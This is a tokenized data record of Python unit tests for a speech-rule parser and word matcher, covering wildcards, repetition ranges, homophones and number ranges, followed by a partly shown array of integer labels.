"(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "dea", "r", "'_", ",_", "'", "leader", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "9_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "word", " ", "<", "any", ">", " ", "<", "1", "->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "word", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "10_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "word", " ", "<", "any", ">", " ", "<", "0", "-1", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "word", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "word", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "11_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "select", " ", "[(", "blue", " ", "|", " ", "fish", ")", " ", "wh", "ale", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "select", " ", "fish", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "select", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "fish", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "homo", "phone", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "hom", "\\u", "line", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "line", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "line", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "homo", "phone", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "hom", "\\u", "line", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "wine", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "line", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "homo", "phone", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "hom", "\\u", "line", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "wh", "y", " ", "n", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "line", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "homo", "phone", "\\u", "not", "\\u", "in", "\\u", "list1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "hom", "\\u", "phone", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "phone", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "phone", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "homo", "phone", "\\u", "not", "\\u", "in", "\\u", "list2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "hom", "\\u", "phone", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "bone", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mix", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "bend", " ", "cat", " ", "|", " ", "cat", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "cat", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "cat", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mix", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'[", "<", "any", ">]", " ", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "cat", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mix", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "camel", " ", "|", " ", "score", " ", "|", " ", "title", " ", "|", " ", "upper", ")", " ", "<", "any", ">", " ", "<", "1", "->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "upper", " ", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "upper", "'_", ",_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mix", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "test", " ", "|", " ", "outer", " ", "hell", "o", " ", "|", " ", "outer", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "outer", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "outer", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mix", "5_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "hom", "\\u", "poke", ">", " ", "<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "poke", " ", "1", "2", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "poke", "'_", ",_", "'", "1", "2", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "end", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "world", " ", "<", "end", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "end", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "world", " ", "<", "end", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", " ", "good", "bye", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "rule", "\\u", "match_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "wild", "card", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "any", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "wild", "card", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "large", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "large", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "repetition", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "2", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "large", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "large", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "repetition", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "2", "->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "large", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "large", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "repetition", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "large", " ", "<", "any", ">", " ", "<", "0", "-", "2", ">", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "large", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "large", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "repetition", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "hom", "\\u", "line", ">", " ", "this", " ", "is", " ", "a", " ", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "line", " ", "this", " ", "is", " ", "a", " ", "test", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "line", "'_", ",_", "'", "this", "'_", ",_", "'", "is", "'_", ",_", "'", "a", "'_", ",_", "'", "test", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "\\u", "range", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", "\\u", "4", "4", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "32", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "32", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "\\u", "range", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", "\\u", "5", "\\u", "4", "4", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "si", "x", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rule", "\\u", "match_", "=_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "rule", "\\u", "match_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "6", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "\\u", "range", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", "\\u", "5", "\\u", "4", "4", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "4", "4", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 